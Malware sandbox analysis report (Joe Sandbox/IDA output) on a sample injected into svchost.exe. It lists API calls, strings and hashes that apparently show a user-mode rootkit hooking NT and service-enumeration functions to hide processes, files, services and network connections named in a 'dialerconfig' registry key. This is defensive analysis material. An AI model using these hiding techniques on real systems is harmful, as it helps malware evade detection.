Associated: 0000002B.00000002.3126900800.000000014080D000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002B.00000002.3136236054.0000000140847000.00000004.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_140000000_dialer.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$AddressCallerLibraryLoadProc
String ID:
API String ID: 1941872368-0
Opcode ID: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction ID: 1d24a93eb9004fb9ff5f788f669610d725ede0fbeb3cf7fc7a03e9414d8a6cfe
Opcode Fuzzy Hash: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction Fuzzy Hash: FE611A32F4026255EB274BB6AF843E87751931D7B4F49433DCB79423E6FA7488668B02

Analysis Process: svchost.exePID: 364, Parent PID: 7648COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	2

Executed Functions

Function 0000026A879C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C1633
HeapAlloc.KERNEL32 ref: 0000026A879C1642

Part of subcall function 0000026A879C1268: GetProcessHeap.KERNEL32 ref: 0000026A879C126E
Part of subcall function 0000026A879C1268: HeapAlloc.KERNEL32 ref: 0000026A879C127D
Part of subcall function 0000026A879C1268: GetProcessHeap.KERNEL32 ref: 0000026A879C1297
Part of subcall function 0000026A879C1268: HeapAlloc.KERNEL32 ref: 0000026A879C12A8

RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16B2
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16DF
RegCloseKey.ADVAPI32 ref: 0000026A879C16F9
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1719
RegCloseKey.ADVAPI32 ref: 0000026A879C1734
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1754
RegCloseKey.ADVAPI32 ref: 0000026A879C176F
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C178F
RegCloseKey.ADVAPI32 ref: 0000026A879C17AA
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C17CA
RegCloseKey.ADVAPI32 ref: 0000026A879C17E5
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1805
RegCloseKey.ADVAPI32 ref: 0000026A879C1820
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1840
RegCloseKey.ADVAPI32 ref: 0000026A879C185B
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C187B
RegCloseKey.ADVAPI32 ref: 0000026A879C1896
RegCloseKey.ADVAPI32 ref: 0000026A879C18A0

Part of subcall function 0000026A879C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C1319
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C1327
Part of subcall function 0000026A879C12BC: HeapAlloc.KERNEL32 ref: 0000026A879C1338
Part of subcall function 0000026A879C12BC: RegEnumValueW.ADVAPI32 ref: 0000026A879C1397
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C13DF
Part of subcall function 0000026A879C12BC: HeapAlloc.KERNEL32 ref: 0000026A879C13ED
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C140A
Part of subcall function 0000026A879C12BC: HeapFree.KERNEL32 ref: 0000026A879C1418
Part of subcall function 0000026A879C12BC: lstrlenW.KERNEL32 ref: 0000026A879C1421
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C142F
Part of subcall function 0000026A879C12BC: HeapAlloc.KERNEL32 ref: 0000026A879C143D

Strings

tcp_remote, xrefs: 0000026A879C1839
pid, xrefs: 0000026A879C1712
process_names, xrefs: 0000026A879C174D
tcp_local, xrefs: 0000026A879C17FE
udp, xrefs: 0000026A879C1874
service_names, xrefs: 0000026A879C17C3
paths, xrefs: 0000026A879C1788
startup, xrefs: 0000026A879C16D5
SOFTWARE\dialerconfig, xrefs: 0000026A879C1692

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 8b3f40dc757b03efebebe1ec2b21d8ee4b81ef9a05be350be4598fcd48a0c6e5
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 99715D76310E1086EF90DF66E89869D3BB4FB85B88F405111EE4E67B68EF3AC444CB45

Function 0000026A879C328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000026A879C32AE
PathFindFileNameW.SHLWAPI ref: 0000026A879C32BD

Part of subcall function 0000026A879C3844: StrCmpNIW.SHLWAPI ref: 0000026A879C385C

Part of subcall function 0000026A879C3790: GetModuleHandleW.KERNEL32 ref: 0000026A879C379E
Part of subcall function 0000026A879C3790: GetCurrentProcess.KERNEL32 ref: 0000026A879C37CC
Part of subcall function 0000026A879C3790: VirtualProtectEx.KERNEL32 ref: 0000026A879C37EE
Part of subcall function 0000026A879C3790: GetCurrentProcess.KERNEL32 ref: 0000026A879C3809
Part of subcall function 0000026A879C3790: VirtualProtectEx.KERNEL32 ref: 0000026A879C382A

CreateThread.KERNEL32 ref: 0000026A879C330B

Part of subcall function 0000026A879C1D14: GetCurrentThread.KERNEL32 ref: 0000026A879C1D1F

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: bbd561d3a30add4c1150a9458a01d63078364739115671f5aea34e55c8598808
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 0211807261064182FFE0AB22F90D35D36A4A7D4385FD04124EA0EA3696EFBBC0849F13

Function 0000026A879C1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000026A879C1628: GetProcessHeap.KERNEL32 ref: 0000026A879C1633
Part of subcall function 0000026A879C1628: HeapAlloc.KERNEL32 ref: 0000026A879C1642
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16B2
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16DF
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C16F9
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1719
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C1734
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1754
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C176F
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C178F
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C17AA
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C17CA

Sleep.KERNEL32 ref: 0000026A879C1AD7
SleepEx.KERNELBASE ref: 0000026A879C1ADD

Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C17E5
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1805
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C1820
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1840
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C185B
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C187B
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C1896
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C18A0

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 5eed58e8f7c032d1df488f6ec5371d2936970acb8e97615792f8d803c15a43b0
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 2931E5F5240A4581FFD0AB26DA493BD73A4ABC4BD0F0454219E09A77DAFF26C491CE1A

Function 0000026A8799273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000026A8799285E

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 57387411ffdeb412b963753acb60f61000c0759ef6c355c86f1a01fa76b5fc3d
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: B5613532B016908BFB94CF15D10872DF3A6FB54BA4F588121DF59277C8DA39D892CB01

Non-executed Functions

Function 0000026A879C2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000026A879C2BD0
lstrlenW.KERNEL32 ref: 0000026A879C2E0A

Part of subcall function 0000026A879C199C: OpenProcess.KERNEL32 ref: 0000026A879C19C2
Part of subcall function 0000026A879C199C: K32GetModuleFileNameExW.KERNEL32 ref: 0000026A879C19E0
Part of subcall function 0000026A879C199C: PathFindFileNameW.SHLWAPI ref: 0000026A879C19EF
Part of subcall function 0000026A879C199C: lstrlenW.KERNEL32 ref: 0000026A879C19FB
Part of subcall function 0000026A879C199C: StrCpyW.SHLWAPI ref: 0000026A879C1A0E
Part of subcall function 0000026A879C199C: CloseHandle.KERNEL32 ref: 0000026A879C1A1C

GetProcAddress.KERNEL32 ref: 0000026A879C2BE5

Part of subcall function 0000026A879C152C: StrCmpIW.SHLWAPI ref: 0000026A879C155D

Part of subcall function 0000026A879C3844: StrCmpNIW.SHLWAPI ref: 0000026A879C385C

StrCmpNIW.SHLWAPI ref: 0000026A879C2C28
lstrlenW.KERNEL32 ref: 0000026A879C2D50

Strings

NtQueryObject, xrefs: 0000026A879C2BDB
ntdll.dll, xrefs: 0000026A879C2BC9
\Device\Nsi, xrefs: 0000026A879C2C1B

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 28832ac34e84ece53f7b50bb78eaf8a37b486e288825972d32e086a5872c7075
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 42B17A76210A9082EFE8DF25D4487AD77A5FB94B84F445026EE0977798EF36CC80CB42

Function 0000026A879C7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000026A879C7DAC
RtlCaptureContext.NTDLL ref: 0000026A879C7DD9
RtlLookupFunctionEntry.NTDLL ref: 0000026A879C7DF3
RtlVirtualUnwind.NTDLL ref: 0000026A879C7E34
IsDebuggerPresent.KERNEL32 ref: 0000026A879C7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000026A879C7EA9
UnhandledExceptionFilter.KERNEL32 ref: 0000026A879C7EB4

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 938e5285386ac3705a1524c506204be3636963da77c64c4e1ce6b6d8eddc6828
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 50315072205B808AEBA0DF60E8847ED7B64F785744F44442AEB4D67B98EF39C548CB11

Function 0000026A879CD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000026A879CD31D
RtlLookupFunctionEntry.NTDLL ref: 0000026A879CD335
RtlVirtualUnwind.NTDLL ref: 0000026A879CD370
IsDebuggerPresent.KERNEL32 ref: 0000026A879CD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 0000026A879CD3B3
UnhandledExceptionFilter.KERNEL32 ref: 0000026A879CD3BE

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: d1d1b9292f01f4f5fbfa14a2dc646865464e2607e4ff46e76a86c3c994235719
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: DC318132214F8086EBA0DF25E88439E7BA4F7C9798F540126EA9D53B98EF39C545CF01

Function 0000026A879C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C1319
GetProcessHeap.KERNEL32 ref: 0000026A879C1327
HeapAlloc.KERNEL32 ref: 0000026A879C1338
RegEnumValueW.ADVAPI32 ref: 0000026A879C1397

Part of subcall function 0000026A879C152C: StrCmpIW.SHLWAPI ref: 0000026A879C155D

GetProcessHeap.KERNEL32 ref: 0000026A879C13DF
HeapAlloc.KERNEL32 ref: 0000026A879C13ED
GetProcessHeap.KERNEL32 ref: 0000026A879C140A
HeapFree.KERNEL32 ref: 0000026A879C1418
lstrlenW.KERNEL32 ref: 0000026A879C1421
GetProcessHeap.KERNEL32 ref: 0000026A879C142F
HeapAlloc.KERNEL32 ref: 0000026A879C143D
StrCpyW.SHLWAPI ref: 0000026A879C145F
GetProcessHeap.KERNEL32 ref: 0000026A879C1476
HeapFree.KERNEL32 ref: 0000026A879C1484

Strings

d, xrefs: 0000026A879C135A

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 07cfe981894990384c0c086665b30c926e9edc38e061a20603f020415e03ff94
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 70514A76204B8486EB94CF62E54835EBFA1F78AFD9F048124EA4A57758EF3DC049CB01

Function 0000026A879C1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000026A879C1D1F

Part of subcall function 0000026A879C1FD4: GetModuleHandleA.KERNEL32 ref: 0000026A879C1FEC
Part of subcall function 0000026A879C1FD4: GetProcAddress.KERNEL32 ref: 0000026A879C1FFD

Part of subcall function 0000026A879C5B30: GetCurrentThreadId.KERNEL32 ref: 0000026A879C5B6B

Strings

sechost.dll, xrefs: 0000026A879C1E39
NtResumeThread, xrefs: 0000026A879C1D62
NtDeviceIoControlFile, xrefs: 0000026A879C1E56
EnumServiceGroupW, xrefs: 0000026A879C1DF0
EnumServicesStatusExW, xrefs: 0000026A879C1E11, 0000026A879C1E32
advapi32.dll, xrefs: 0000026A879C1DF7, 0000026A879C1E18
NtEnumerateValueKey, xrefs: 0000026A879C1DD6
ntdll.dll, xrefs: 0000026A879C1D2D
NtQueryDirectoryFile, xrefs: 0000026A879C1D7F
NtQueryDirectoryFileEx, xrefs: 0000026A879C1D9C
NtEnumerateKey, xrefs: 0000026A879C1DB9
NtQuerySystemInformation, xrefs: 0000026A879C1D45

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: dfe63a10a49480e1aef6057fb1ce33c2d81f6763df8e5d6cfa68f1b74ee8636c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: EF31C8B5144A4AA0FE94EF65E85A7EC3B24F784348FC04013954933176AFBEC289CF92

Function 0000026A87996910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000026A87996938
__scrt_acquire_startup_lock.LIBCMT ref: 0000026A8799698A
_RTC_Initialize.LIBCMT ref: 0000026A879969B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000026A879969DE
__scrt_release_startup_lock.LIBCMT ref: 0000026A87996A09

Strings

`eh vector copy constructor iterator', xrefs: 0000026A87996A3B
scriptor', xrefs: 0000026A87996B39, 0000026A87996BB2, 0000026A87996BEC
`dynamic initializer for ', xrefs: 0000026A879969C7
`eh vector vbase copy constructor iterator', xrefs: 0000026A879969EE

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: b047a768bb49e332fa12a0d509f504b7dc68172f8f015219012fb81a31179565
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: DB81D23170524186FBD0EF65944D39D72E1EB87780F588425AA0977796EF3BC9868F03

Function 0000026A879CCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0000026A879CCE37
FlsGetValue.KERNEL32(?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCE4C
FlsSetValue.KERNEL32(?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCE6D
FlsSetValue.KERNEL32(?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCE9A
FlsSetValue.KERNEL32(?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCEAB
FlsSetValue.KERNEL32(?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCEBC
SetLastError.KERNEL32 ref: 0000026A879CCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCF0D
FlsSetValue.KERNEL32(?,?,00000001,0000026A879CECCC,?,?,?,?,0000026A879CBF9F,?,?,?,?,?,0000026A879C7AB0), ref: 0000026A879CCF2C

Part of subcall function 0000026A879CD6CC: HeapAlloc.KERNEL32 ref: 0000026A879CD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCF54

Part of subcall function 0000026A879CD744: HeapFree.KERNEL32 ref: 0000026A879CD75A
Part of subcall function 0000026A879CD744: GetLastError.KERNEL32 ref: 0000026A879CD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000026A879D0A6B,?,?,?,0000026A879D045C,?,?,?,0000026A879CC84F), ref: 0000026A879CCF76

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: fbbfd203b105abf8085660589179a2c6459f60e277cac02fd6d43f7fad114619
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: F941B13234164882FEF8A735565E37D36965BC67B0F640724A936377E6EE2BC8019E03

Function 0000026A879C2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000026A879C2259
GetCurrentProcessId.KERNEL32 ref: 0000026A879C2263

Part of subcall function 0000026A879C1934: OpenProcess.KERNEL32 ref: 0000026A879C1952
Part of subcall function 0000026A879C1934: IsWow64Process.KERNEL32 ref: 0000026A879C1968
Part of subcall function 0000026A879C1934: CloseHandle.KERNEL32 ref: 0000026A879C1983

CreateFileW.KERNEL32 ref: 0000026A879C22BC
WriteFile.KERNEL32 ref: 0000026A879C22E4
ReadFile.KERNEL32 ref: 0000026A879C2303
CloseHandle.KERNEL32 ref: 0000026A879C230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000026A879C228C
\\.\pipe\dialerchildproc32, xrefs: 0000026A879C2293

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: b02012d5428b01c1f3b2143805af3d2ef8a5ba1a4c44cc927d8b5d08adb94f93
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 8C213836618A4082EB50CB25F44836E7BA1F78ABE4F544215EA5913AA8DF7DC189CF02

Function 0000026A879CA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000026A879CA5A1

Part of subcall function 0000026A879CB414: __GetUnwindTryBlock.LIBCMT ref: 0000026A879CB457
Part of subcall function 0000026A879CB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000026A879CB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000026A879CA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000026A879CA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000026A879CA9DA

Strings

csm, xrefs: 0000026A879CA5BB
csm, xrefs: 0000026A879CA69C
csm, xrefs: 0000026A879CA622

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 444f81f33de08ab68ee44032b3efa5b7945037919697de8df49d031d9224469b
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: E2E1C172604B80CAEFA0DF65D58939D77A0F799BA8F100116EE8967B99CB35C581CF02

Function 0000026A87999944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000026A879999A1

Part of subcall function 0000026A8799A814: __GetUnwindTryBlock.LIBCMT ref: 0000026A8799A857
Part of subcall function 0000026A8799A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000026A8799A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000026A87999A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000026A87999CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000026A87999DDA

Strings

csm, xrefs: 0000026A879999BB
csm, xrefs: 0000026A87999A22
csm, xrefs: 0000026A87999A9C

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 1f6ce65c737b67c16a74770dcca6a547431568ee9d47403595349a7bcceb887e
